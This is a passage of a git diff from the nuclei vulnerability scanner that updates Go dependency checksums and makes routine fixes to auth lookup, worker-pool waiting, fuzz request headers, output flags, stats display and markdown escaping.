h1:ihyFclesLjvQpiJpRIlAYeebapyIbOI/arDAvvy1ES8= -github.com/projectdiscovery/httpx v1.6.9/go.mod h1:zQtX5CtcDYXzIRWne1ztCVtqG0sXCnx84tFwfMHoB8Q= -github.com/projectdiscovery/interactsh v1.2.3 h1:5fWNJQy0+X0+7PoK9z3stxk58xZw3QwG+vXKLKs9tE8= -github.com/projectdiscovery/interactsh v1.2.3/go.mod h1:46zdU65jL3q6m4BCwacdsH7bsCtwFSmCACMvaq0pgL8= +github.com/projectdiscovery/hmap v0.0.82 h1:gPFkeD5sbY3uVIxgtgDkzHmXCo/H7cbhRhdLX//+G1A= +github.com/projectdiscovery/hmap v0.0.82/go.mod h1:8vSfVgZwCRbHitnZPgpsOw8115/mJX/b4B8QKR88Iak= +github.com/projectdiscovery/httpx v1.6.10 h1:R08LiWDQKJNmVHcR5TdIGQil1O3ShiFonK6Wf+gzg0k= +github.com/projectdiscovery/httpx v1.6.10/go.mod h1:drsRPt18IQB/Gfj4D0D9woS3hkY+m6k4HgL09JXX4vg= +github.com/projectdiscovery/interactsh v1.2.4 h1:WUSj+fxbcV53J64oIAhbYzCKD1w/IyenyRBhkI5jiqI= +github.com/projectdiscovery/interactsh v1.2.4/go.mod h1:E/IVNZ80/WKz8zTwGJWQygxIbhlRmuzZFsZwcGSZTdc= github.com/projectdiscovery/ldapserver v1.0.2-0.20240219154113-dcc758ebc0cb h1:MGtI4oE12ruWv11ZlPXXd7hl/uAaQZrFvrIDYDeVMd8= github.com/projectdiscovery/ldapserver v1.0.2-0.20240219154113-dcc758ebc0cb/go.mod h1:vmgC0DTFCfoCLp0RAfsfYTZZan0QMVs+cmTbH6blfjk= github.com/projectdiscovery/machineid v0.0.0-20240226150047-2e2c51e35983 h1:ZScLodGSezQVwsQDtBSMFp72WDq0nNN+KE/5DHKY5QE= @@ -904,34 +904,34 @@ github.com/projectdiscovery/mapcidr v1.1.34 h1:udr83vQ7oz3kEOwlsU6NC6o08leJzSDQt github.com/projectdiscovery/mapcidr v1.1.34/go.mod h1:1+1R6OkKSAKtWDXE9RvxXtXPoajXTYX0eiEdkqlhQqQ= github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5 h1:L/e8z8yw1pfT6bg35NiN7yd1XKtJap5Nk6lMwQ0RNi8= github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5/go.mod h1:pGW2ncnTxTxHtP9wzcIJAB+3/NMp6IiuQWd2NK7K+oc= -github.com/projectdiscovery/networkpolicy v0.1.2 h1:5ff6SM6H6tRgp4kzmq4+/T8F0S7lom+QdXeNsLx8Mb4= -github.com/projectdiscovery/networkpolicy v0.1.2/go.mod h1:lJ6Vlr5/CkJEusm/ZIWi/W6yS6sKnwrLuROpDfI2Z5Y= -github.com/projectdiscovery/ratelimit v0.0.70 h1:SxFQcIKO3hppmEn9MOaDiqX2NXceji0vd8ER+eCHQjc= -github.com/projectdiscovery/ratelimit v0.0.70/go.mod h1:jg253i7eeKBIV5QpTpQv6+lZXr53XmKGBLS3dwlmRWM= -github.com/projectdiscovery/rawhttp v0.1.84 h1:91ctBCABSR2dIMj+hoQz3E0EsmPDNv2YmsjMOwjyJnk= -github.com/projectdiscovery/rawhttp v0.1.84/go.mod h1:F3mb+qlkh/pI+CiaoddmMmgeD2TSPM7WUMcm9DU9KBY= +github.com/projectdiscovery/networkpolicy v0.1.7 h1:SIFsv5f8JYDwCUH/AUTeB3dpXthx0AUz2rej64rNWwY= +github.com/projectdiscovery/networkpolicy v0.1.7/go.mod h1:grubaCHOEgT6a2r/p8DlfOwovEL4N8Fd3yye7/ACwug= +github.com/projectdiscovery/ratelimit v0.0.75 h1:CcfER34mqU5NjAMI5JN+Sl7slN++m3SKeb6+Ed0KI/c= +github.com/projectdiscovery/ratelimit v0.0.75/go.mod h1:Gm/NA+pYJMTPMLSurQX95mXb+RDBfLAEONVqzcCW1GU= +github.com/projectdiscovery/rawhttp v0.1.89 h1:aIkCd0BYlQ11UoPaMP6U5Ujvycch21CD58U1AGxxz6E= +github.com/projectdiscovery/rawhttp v0.1.89/go.mod h1:q90gCzooR1Xtv8671ipav3tjmXrJx/0aG3HtLNCP6xI= github.com/projectdiscovery/rdap v0.9.1-0.20221108103045-9865884d1917 h1:m03X4gBVSorSzvmm0bFa7gDV4QNSOWPL/fgZ4kTXBxk= github.com/projectdiscovery/rdap v0.9.1-0.20221108103045-9865884d1917/go.mod h1:JxXtZC9e195awe7EynrcnBJmFoad/BNDzW9mzFkK8Sg= github.com/projectdiscovery/retryabledns v1.0.94 h1:MvxtRcmvxhxikxT7p/E40hcYRWRiL5fg/JQ8bpBaz+0= github.com/projectdiscovery/retryabledns v1.0.94/go.mod h1:croGTyMM4yNlrSWA/X7xNe3c0c7mDmCdbm8goLd8Bak= -github.com/projectdiscovery/retryablehttp-go v1.0.97 h1:6nee/vJjiZP3vOhyqLcpSADM3vqmcC2QOvaMIo+dKWQ= -github.com/projectdiscovery/retryablehttp-go v1.0.97/go.mod h1:ZvwB6IsIHf0YlovcEQufZ6OTluyWfxRd360SrKd9fPk= +github.com/projectdiscovery/retryablehttp-go v1.0.101 h1:xmoXGVQ7DD/5YvDvtaOExbbF6aXlr5ARjssXgMdtkmY= +github.com/projectdiscovery/retryablehttp-go v1.0.101/go.mod h1:d+xU7CAHiOL/v+QQIHT4AXbEjTO7o0B5naQQOC0JDhw= github.com/projectdiscovery/sarif v0.0.1 h1:C2Tyj0SGOKbCLgHrx83vaE6YkzXEVrMXYRGLkKCr/us= github.com/projectdiscovery/sarif v0.0.1/go.mod h1:cEYlDu8amcPf6b9dSakcz2nNnJsoz4aR6peERwV+wuQ= github.com/projectdiscovery/stringsutil v0.0.2 h1:uzmw3IVLJSMW1kEg8eCStG/cGbYYZAja8BH3LqqJXMA= github.com/projectdiscovery/stringsutil v0.0.2/go.mod h1:EJ3w6bC5fBYjVou6ryzodQq37D5c6qbAYQpGmAy+DC0= github.com/projectdiscovery/tlsx v1.1.9 h1:DhErhHCO2+toF5DEX7qe3pkwrIrYlex3F/mzHEUiZHg= github.com/projectdiscovery/tlsx v1.1.9/go.mod h1:Jy+r38WyYjapQWaffiKGdYm4Ksdrt8BWtsqA2rUospU= -github.com/projectdiscovery/uncover v1.0.9 h1:s5RbkD/V4r8QcPkys4gTTqMuRSgXq0JprejqLSopN9Y= -github.com/projectdiscovery/uncover v1.0.9/go.mod h1:2PUF3SpB5QNIJ8epaB2xbRzkPaxEAWRDm3Ir2ijt81U= -github.com/projectdiscovery/useragent v0.0.89 h1:j/ryhBjScEAX4Ktfzdxea6hvxrL3OpsxBCEJ4o1D73g= -github.com/projectdiscovery/useragent v0.0.89/go.mod h1:ZAYEFo2ZhtCmeuj1hj0E/ZoMm8K91jJ3ct3qrHkbX1E= -github.com/projectdiscovery/utils v0.4.8 h1:/Xd38fP8xc6kifZayjrhcYALenJrjO3sHO7lg+I8ZGk= -github.com/projectdiscovery/utils v0.4.8/go.mod h1:S314NzLcXVCbLbwYCoorAJYcnZEwv7Uhw2d3aF5fJ4s= -github.com/projectdiscovery/wappalyzergo v0.2.13 h1:yrzmcT/Zq+H+qpbAjHKKFVVQA7uei+sAYlmS2HLpkGI= -github.com/projectdiscovery/wappalyzergo v0.2.13/go.mod h1:3vtvQCSYpU+Ilk0qy09WYT9BH0Stut5Qon7KJJ78GKw= -github.com/projectdiscovery/yamldoc-go v1.0.5 h1:On5D9F5Qe59Tek9SX05uSbjahiRTvDqUSIoG/gDuRd4= -github.com/projectdiscovery/yamldoc-go v1.0.5/go.mod h1:R5lWrNzP+7Oyn77NDVPnBsxx2/FyQZBBkIAaSaCQFxw= +github.com/projectdiscovery/uncover v1.0.10 h1:FdnBYgynGUtjIsW5WPIIhadR1Smcghik9cZSMEtILN4= +github.com/projectdiscovery/uncover v1.0.10/go.mod h1:l7QQ+mBc7bLK4tqYqPyo9nrYdz1K8vaGZWKYihkHmAs= +github.com/projectdiscovery/useragent v0.0.94 h1:6/JtkkGZveyJ0+IjvA01Py+X2KZGOemQn6yQY1by3AU= +github.com/projectdiscovery/useragent v0.0.94/go.mod h1:QL4NRHuw0c46XCzstUaHY2pktkcgUsoyMtpyi3a/79A= +github.com/projectdiscovery/utils v0.4.12 h1:3HE+4Go4iTwipeN2B+tC7xl7KS4BgXgp0BZaQXE2bjM= +github.com/projectdiscovery/utils v0.4.12/go.mod h1:EDUNBDGTO+Tfl6YQj3ADg97iYp2h8IbCmpP24LMW3+E= +github.com/projectdiscovery/wappalyzergo v0.2.18 h1:oYI7iOu3m9j58jSbnefop8s1VhkNbH7Z35P3qwQxDtA= +github.com/projectdiscovery/wappalyzergo v0.2.18/go.mod h1:F8X79ljvmvrG+EIxdxWS9VbdkVTsQupHYz+kXlp8O0o= +github.com/projectdiscovery/yamldoc-go v1.0.6 h1:GCEdIRlQjDux28xTXKszM7n3jlMf152d5nqVpVoetas= +github.com/projectdiscovery/yamldoc-go v1.0.6/go.mod h1:R5lWrNzP+7Oyn77NDVPnBsxx2/FyQZBBkIAaSaCQFxw= github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= github.com/prometheus/client_golang v0.9.3-0.20190127221311-3c4408c8b829/go.mod h1:p2iRAGwDERtqlqzRXnrOVns+ignqQo//hLXqYxZYVNs= github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= @@ -988,8 +988,8 @@ github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d h1:hrujxIzL1woJ7AwssoOcM/tq5JjjG2yYOc8odClEiXA= github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU= github.com/samuel/go-zookeeper v0.0.0-20190923202752-2cc03de413da/go.mod h1:gi+0XIa01GRL2eRQVjQkKGqKF3SF9vZR/HnPullcV2E= -github.com/sashabaranov/go-openai v1.15.3 h1:rzoNK9n+Cak+PM6OQ9puxDmFllxfnVea9StlmhglXqA= -github.com/sashabaranov/go-openai v1.15.3/go.mod h1:lj5b/K+zjTSFxVLijLSTDZuP7adOgerWeFyZLUhAKRg= +github.com/sashabaranov/go-openai v1.37.0 h1:hQQowgYm4OXJ1Z/wTrE+XZaO20BYsL0R3uRPSpfNZkY= +github.com/sashabaranov/go-openai v1.37.0/go.mod h1:lj5b/K+zjTSFxVLijLSTDZuP7adOgerWeFyZLUhAKRg= github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= github.com/segmentio/ksuid v1.0.4 h1:sBo2BdShXjmcugAMwjugoGUdUV0pcxY5mW4xKRn3v4c= github.com/segmentio/ksuid v1.0.4/go.mod h1:/XUiZBD3kVx5SmUOl55voK5yeAbBNNIed+2O73XgrPE= @@ -1246,8 +1246,8 @@ golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4= golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= -golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc= -golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc= +golang.org/x/crypto v0.33.0 h1:IOBPskki6Lysi0lo9qQvbxiQ+FvsCC/YWOecCHAixus= +golang.org/x/crypto v0.33.0/go.mod h1:bVdXmD7IV/4GdElGPozy6U7lWdRXA4qyRVGJV57uQ5M= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= @@ -1340,8 +1340,8 @@ golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= -golang.org/x/net v0.34.0 h1:Mb7Mrk043xzHgnRM88suvJFwzVrRfHEHJEl5/71CKw0= -golang.org/x/net v0.34.0/go.mod h1:di0qlW3YNM5oh6GqDGQr92MyTozJPmybPK4Ev/Gm31k= +golang.org/x/net v0.35.0 h1:T5GQRQb2y08kTAByq9L4/bz8cipCdA8FbRTXewonqY8= +golang.org/x/net v0.35.0/go.mod h1:EglIi67kWsHKlRzzVMUD93VMSWGFOMSZgxFjparz1Qk= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -1366,8 +1366,8 @@ golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20220601150217-0de741cfad7f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ= -golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sync v0.11.0 h1:GGz8+XQP4FvTTrjZPzNKTMFtSXH80RAzG+5ghFPgK9w= +golang.org/x/sync v0.11.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -1439,8 +1439,8 @@ golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU= -golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.30.0 h1:QjkSwP/36a20jFYWkSue1YwXzLmsV5Gfq7Eiy72C1uc= +golang.org/x/sys v0.30.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= @@ -1453,8 +1453,8 @@ golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U= golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= -golang.org/x/term v0.28.0 h1:/Ts8HFuMR2E6IP/jlo7QVLZHggjKQbhu/7H0LJFr3Gg= -golang.org/x/term v0.28.0/go.mod h1:Sw/lC2IAUZ92udQNf3WodGtn4k/XoLyZoh8v/8uiwek= +golang.org/x/term v0.29.0 h1:L6pJp37ocefwRRtYPKSWOWzOtWSxVajvz2ldH/xi3iU= +golang.org/x/term v0.29.0/go.mod h1:6bl4lRlvVuDgSf3179VpIxBF0o10JUpXWOnI7nErv7s= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -1471,8 +1471,8 @@ golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= -golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= -golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= +golang.org/x/text v0.22.0 h1:bofq7m3/HAFvbF51jz3Q9wLg3jkvSPuiZu/pD1XwgtM= +golang.org/x/text v0.22.0/go.mod h1:YRoo4H8PVmsu+E3Ou7cqLVH8oXWIHVoX0jqUWALQhfY= golang.org/x/time v0.0.0-20180412165947-fbb02b2291d2/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= diff --git a/internal/runner/runner.go b/internal/runner/runner.go index b9b0643a9..7a3b03020 100644 --- a/internal/runner/runner.go +++ b/internal/runner/runner.go @@ -325,9 +325,6 @@ func New(options *types.Options) (*Runner, error) { } } - // setup a proxy writer to automatically upload results to PDCP - runner.output = runner.setupPDCPUpload(outputWriter) - opts := interactsh.DefaultOptions(runner.output, runner.issuesClient, runner.progress) opts.Debug = runner.options.Debug opts.NoColor = runner.options.NoColor diff --git a/lib/config.go b/lib/config.go index c0a9a2dfb..46df00aa2 100644 --- a/lib/config.go +++ b/lib/config.go @@ -511,3 +511,11 @@ func DisableUpdateCheck() NucleiSDKOptions { return nil } } + +// WithResumeFile allows setting a resume file +func WithResumeFile(file string) NucleiSDKOptions { + return func(e *NucleiEngine) error { + e.opts.Resume = file + return nil + } +} diff --git a/pkg/authprovider/file.go b/pkg/authprovider/file.go index 64cfcb879..1c2ef51bf 100644 --- a/pkg/authprovider/file.go +++ b/pkg/authprovider/file.go @@ -122,6 +122,8 @@ func (f *FileAuthProvider) init() { // LookupAddr looks up a given domain/address and returns appropriate auth strategy func (f *FileAuthProvider) LookupAddr(addr string) []authx.AuthStrategy { + var strategies []authx.AuthStrategy + if strings.Contains(addr, ":") { // default normalization for host:port host, port, err := net.SplitHostPort(addr) @@ -131,15 +133,16 @@ func (f *FileAuthProvider) LookupAddr(addr string) []authx.AuthStrategy { } for domain, strategy := range f.domains { if strings.EqualFold(domain, addr) { - return strategy + strategies = append(strategies, strategy...) } } for compiled, strategy := range f.compiled { if compiled.MatchString(addr) { - return strategy + strategies = append(strategies, strategy...) } } - return nil + + return strategies } // LookupURL looks up a given URL and returns appropriate auth strategy diff --git a/pkg/authprovider/multi.go b/pkg/authprovider/multi.go index d059a7592..77b3348fd 100644 --- a/pkg/authprovider/multi.go +++ b/pkg/authprovider/multi.go @@ -22,7 +22,7 @@ func NewMultiAuthProvider(providers ...AuthProvider) AuthProvider { func (m *MultiAuthProvider) LookupAddr(host string) []authx.AuthStrategy { for _, provider := range m.Providers { strategy := provider.LookupAddr(host) - if strategy != nil { + if len(strategy) > 0 { return strategy } } diff --git a/pkg/catalog/config/constants.go b/pkg/catalog/config/constants.go index 2778209fe..f7befc379 100644 --- a/pkg/catalog/config/constants.go +++ b/pkg/catalog/config/constants.go @@ -31,7 +31,7 @@ const ( CLIConfigFileName = "config.yaml" ReportingConfigFilename = "reporting-config.yaml" // Version is the current version of nuclei - Version = `v3.3.9` + Version = `v3.3.10` // Directory Names of custom templates CustomS3TemplatesDirName = "s3" CustomGitHubTemplatesDirName = "github" diff --git a/pkg/core/execute_options.go b/pkg/core/execute_options.go index 4d27b5f66..aa47bc44f 100644 --- a/pkg/core/execute_options.go +++ b/pkg/core/execute_options.go @@ -107,6 +107,7 @@ func (e *Engine) executeTemplateSpray(ctx context.Context, templatesList []*temp // wp is workpool that contains different waitgroups for // headless and non-headless templates wp := e.GetWorkPool() + defer wp.Wait() for _, template := range templatesList { select { @@ -135,7 +136,6 @@ func (e *Engine) executeTemplateSpray(ctx context.Context, templatesList []*temp e.executeTemplateWithTargets(ctx, tpl, target, results) }(template) } - wp.Wait() return results } @@ -143,6 +143,7 @@ func (e *Engine) executeTemplateSpray(ctx context.Context, templatesList []*temp func (e *Engine) executeHostSpray(ctx context.Context, templatesList []*templates.Template, target provider.InputProvider) *atomic.Bool { results := &atomic.Bool{} wp, _ := syncutil.New(syncutil.WithSize(e.options.BulkSize + e.options.HeadlessBulkSize)) + defer wp.Wait() target.Iterate(func(value *contextargs.MetaInput) bool { select { @@ -158,7 +159,6 @@ func (e *Engine) executeHostSpray(ctx context.Context, templatesList []*template }(value) return true }) - wp.Wait() return results } diff --git a/pkg/core/executors.go b/pkg/core/executors.go index 1f9af56ac..2e8c4d18d 100644 --- a/pkg/core/executors.go +++ b/pkg/core/executors.go @@ -163,6 +163,7 @@ func (e *Engine) executeTemplatesOnTarget(ctx context.Context, alltemplates []*t // headless and non-headless templates // global waitgroup should not be used here wp := e.GetWorkPool() + defer wp.Wait() for _, tpl := range alltemplates { select { @@ -210,5 +211,4 @@ func (e *Engine) executeTemplatesOnTarget(ctx context.Context, alltemplates []*t results.CompareAndSwap(false, match) }(tpl, target, sg) } - wp.Wait() } diff --git a/pkg/fuzz/parts.go b/pkg/fuzz/parts.go index 432d0e5f9..59ac6e3ca 100644 --- a/pkg/fuzz/parts.go +++ b/pkg/fuzz/parts.go @@ -133,7 +133,7 @@ func (rule *Rule) executePartComponentOnKV(input *ExecuteRuleInput, payload Valu } if qerr := rule.execWithInput(input, req, input.InteractURLs, ruleComponent, key, value, "", "", "", ""); qerr != nil { - return err + return qerr } // after building change back to original value to avoid repeating it in furthur requests diff --git a/pkg/output/output.go b/pkg/output/output.go index 2ccbd2c1d..3c461891f 100644 --- a/pkg/output/output.go +++ b/pkg/output/output.go @@ -279,6 +279,11 @@ func NewStandardWriter(options *types.Options) (*StandardWriter, error) { omitTemplate: options.OmitTemplate, KeysToRedact: options.Redact, } + + if v := os.Getenv("DISABLE_STDOUT"); v == "true" || v == "1" { + writer.DisableStdout = true + } + return writer, nil } diff --git a/pkg/output/stats/stats.go b/pkg/output/stats/stats.go index 1e030a88d..048d1f2bf 100644 --- a/pkg/output/stats/stats.go +++ b/pkg/output/stats/stats.go @@ -105,14 +105,16 @@ func (t *Tracker) GetStats() *StatsOutput { func (t *Tracker) DisplayTopStats(noColor bool) { stats := t.GetStats() - fmt.Printf("\n%s\n", aurora.Bold(aurora.Blue("Top Status Codes:"))) - topStatusCodes := getTopN(stats.StatusCodeStats, 6) - for _, item := range topStatusCodes { - if noColor { - fmt.Printf(" %s: %d\n", item.Key, item.Value) - } else { - color := getStatusCodeColor(item.Key) - fmt.Printf(" %s: %d\n", aurora.Colorize(item.Key, color), item.Value) + if len(stats.StatusCodeStats) > 0 { + fmt.Printf("\n%s\n", aurora.Bold(aurora.Blue("Top Status Codes:"))) + topStatusCodes := getTopN(stats.StatusCodeStats, 6) + for _, item := range topStatusCodes { + if noColor { + fmt.Printf(" %s: %d\n", item.Key, item.Value) + } else { + color := getStatusCodeColor(item.Key) + fmt.Printf(" %s: %d\n", aurora.Colorize(item.Key, color), item.Value) + } } } diff --git a/pkg/protocols/http/request_fuzz.go b/pkg/protocols/http/request_fuzz.go index 7175a7514..b207436ad 100644 --- a/pkg/protocols/http/request_fuzz.go +++ b/pkg/protocols/http/request_fuzz.go @@ -62,6 +62,7 @@ func (request *Request) executeFuzzingRule(input *contextargs.Context, previous if err != nil { return errors.Wrap(err, "fuzz: could not build request obtained from target file") } + request.addHeadersToRequest(baseRequest) input.MetaInput.Input = baseRequest.URL.String() // execute with one value first to checks its applicability err = request.executeAllFuzzingRules(input, previous, baseRequest, callback) @@ -94,6 +95,7 @@ func (request *Request) executeFuzzingRule(input *contextargs.Context, previous } userAgent := useragent.PickRandom() baseRequest.Header.Set("User-Agent", userAgent.Raw) + request.addHeadersToRequest(baseRequest) // execute with one value first to checks its applicability err = request.executeAllFuzzingRules(inputx, previous, baseRequest, callback) @@ -112,6 +114,12 @@ func (request *Request) executeFuzzingRule(input *contextargs.Context, previous return nil } +func (request *Request) addHeadersToRequest(baseRequest *retryablehttp.Request) { + for k, v := range request.Headers { + baseRequest.Header.Set(k, v) + } +} + // executeAllFuzzingRules executes all fuzzing rules defined in template for a given base request func (request *Request) executeAllFuzzingRules(input *contextargs.Context, values map[string]interface{}, baseRequest *retryablehttp.Request, callback protocols.OutputEventCallback) error { applicable := false diff --git a/pkg/reporting/exporters/markdown/util/markdown_formatter.go b/pkg/reporting/exporters/markdown/util/markdown_formatter.go index 92b3b75b5..7f84652b0 100644 --- a/pkg/reporting/exporters/markdown/util/markdown_formatter.go +++ b/pkg/reporting/exporters/markdown/util/markdown_formatter.go @@ -2,6 +2,7 @@ package util import ( "fmt" + "strings" ) type MarkdownFormatter struct{} @@ -11,7 +12,8 @@ func (markdownFormatter MarkdownFormatter) MakeBold(text string) string { } func (markdownFormatter MarkdownFormatter) CreateCodeBlock(title string, content string, language string) string { - return fmt.Sprintf("\n%s\n```%s\n%s\n```\n", markdownFormatter.MakeBold(title), language, content) + escapedContent := escapeCodeBlockMarkdown(content) + return fmt.Sprintf("\n%s\n```%s\n%s\n```\n", markdownFormatter.MakeBold(title), language, escapedContent) } func (markdownFormatter MarkdownFormatter) CreateTable(headers []string, rows [][]string) (string, error) { @@ -25,3 +27,20 @@ func (markdownFormatter MarkdownFormatter) CreateLink(title string, url string) func (markdownFormatter MarkdownFormatter) CreateHorizontalLine() string { return CreateHorizontalLine() } + +// escapeCodeBlockMarkdown only escapes the bare minimum characters needed +// for code blocks and other sections where readability is important +// +// For content inside code blocks, we only need to escape backticks +// and backslashes to prevent breaking out +func escapeCodeBlockMarkdown(text string) string { + minimalChars := []string{ + "\\", "`", + } + + result := text + for _, char := range minimalChars { + result = strings.ReplaceAll(result, char, "\\"+char) + } + return result +} diff --git a/pkg/reporting/exporters/markdown/util/markdown_utils_test.go b/pkg/reporting/exporters/markdown/util/markdown_utils_test.go index a4ed6db32..2cf354859 100644 --- a/pkg/reporting/exporters/markdown/util/markdown_utils_test.go +++ b/pkg/reporting/exporters/markdown/util/markdown_utils_test.go @@ -89,3 +89,54 @@ func TestCreateTemplateInfoTable3Columns(t *testing.T) { require.Nil(t, err) require.Equal(t, expected, table) } + +func TestEscapeCodeBlockMarkdown(t 